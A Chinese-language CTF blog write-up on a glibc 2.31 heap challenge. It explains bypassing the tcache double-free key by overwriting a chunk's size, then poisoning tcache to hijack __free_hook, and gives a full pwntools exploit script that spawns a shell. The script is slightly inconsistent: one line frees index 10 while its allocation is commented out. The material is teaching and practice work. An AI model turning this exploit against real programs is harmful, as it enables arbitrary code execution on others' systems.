boxmoe_header_banner_img

all in pwn

文章导读

tcache:绕key02


avatar
cx330 2026年9月16日 68

前言:本篇记录了一道glibc2.31堆题,分享一种通过改写size绕key的新方法>_<

0x01 tcache

之前已经讲过,tcache(thread cache)是glibc 2.26起引入的每线程空闲块缓存。

free时若对应桶没满就直接塞进缓存并返回(不合并相邻块、不进 unsorted bin),malloc时也最先从这里取,所以它让小块分配快了一大截,同时也让堆的行为变得简单可预测。

64位下它有64个桶,覆盖chunk大小0x20-0x410,取出是LIFO后进先出。

0x02 key

之前讲过,2.29加入了key字段,用来第一时间识别块是不是已经在tcache里了。

上次介绍了一种简单粗暴的绕过key的方法:直接清掉key。

本文将介绍另一种绕过key的方法:通过改size换桶绕key。

之前提到过,有edit不检验长度,因此可以堆溢出8字节,恰好可以改掉下一个chunk的size。

如下图所示,用这种方法将chunk2的size改写,这样key检查tcache0x40的桶,就可以再次delete chunk2。

具体的流程大致如下图所示:

首先,将chunk2 free。

接着,通过堆溢出改写size,将chunk2再次free。

然后,malloc其中一个chunk2,编辑,使其fd指向free_hook。

最后,malloc两次即可拿到free_hook。

本质上,就是让同一个chunk同时被不同的桶引用,再配合tcache poisoning打_free__hook。

0x03 绕key_改写size

泄露Libc

这里比较基础,就不再赘述,直接把代码给大家,注意下malloc chunk的大小要大于tcache范围。

add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'1.')[-9:-3].ljust(8, b'\x00')) - 0x3b6be0
info("libc base:" + hex(libc.address))

改写size

首先,malloc两个相邻的chunk,注意这里chunk0是为了编辑,以此来改写chunk1的size。

add_chunk(0, 0x18)
add_chunk(1, 0x28)
delete_chunk(1)

free后可以看到,0x30中已经有一个chunk。

然后,通过堆溢出改写size,并再次free。

payload = flat([b'A'*0x18, p64(0x40) ])
edit_chunk(0, payload)
delete_chunk(1)

这样,同一个chunk就被free进了不同大小的tcache。

tcache poisoning

将任一chunk申请出来,并将其fd指针改为__free_hook。这里malloc的是0x30。

add_chunk(0, 0x28)
edit_chunk(0, p64(libc.sym['__free_hook']))

可以看到,chunk的fd已经指向了__free_hook。

接下来,只要再连续malloc两次即可。

add_chunk(0, 0x38)
add_chunk(0, 0x38)

但是,执行过程中,我发现这样并没有拿到shell,于是经过调试,我找到了问题所在:malloc两次后__free_hook依旧存在于tcachebins中,并没有被申请出来。

而且chunk_list中也没有__free_hook。

这是因为,在tcache的结构体里,每个桶配备一个计数器counts,counts[i]代表第i个桶现在有几个chunk。

typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];        /* 64 个计数(2.30 起是 uint16_t) */
  tcache_entry *entries[TCACHE_MAX_BINS];  /* 64 个链头 */
} tcache_perthread_struct;

而现在,counts的值为0,自然不能再malloc。

因此,我们只需要再free一个chunk,让计数器+1即可。

这样,counts就变成了2,可以被malloc两次。

malloc两次后可以看到__free_hook。

触发

现在,传入/bin/sh再触发即可。

edit_chunk(0, p64(libc.sym['system']))
edit_chunk(1, b'/bin/sh\x00')
delete_chunk(1)

完整exp

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])


def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))


def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))


def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x410)
add_chunk(1, 0x20)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'1.')[-9:-3].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

# add_chunk(10, 0x38)
add_chunk(0, 0x18)
add_chunk(1, 0x28)
delete_chunk(1)
delete_chunk(10)
payload = flat([b'A'*0x18, p64(0x40) ])
edit_chunk(0, payload)
delete_chunk(1)

add_chunk(0, 0x28)
edit_chunk(0, p64(libc.sym['__free_hook']))

add_chunk(0, 0x38)
add_chunk(0, 0x38)
edit_chunk(0, p64(libc.sym['system']))
edit_chunk(1, b'/bin/sh\x00')
delete_chunk(1)

gdb.attach(p)
p.interactive()

将以上片段拼凑一下就能够得到完整的 exp。

写到这里,就能成功获取程序的交互式shell啦!

小结

这道glibc 2.31堆题凑齐了UAF、堆溢出和double free三个漏洞。利用8字节越界写改size,做出跨桶double free绕过key检测,再用tcache poisoning打通__free_hook。



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码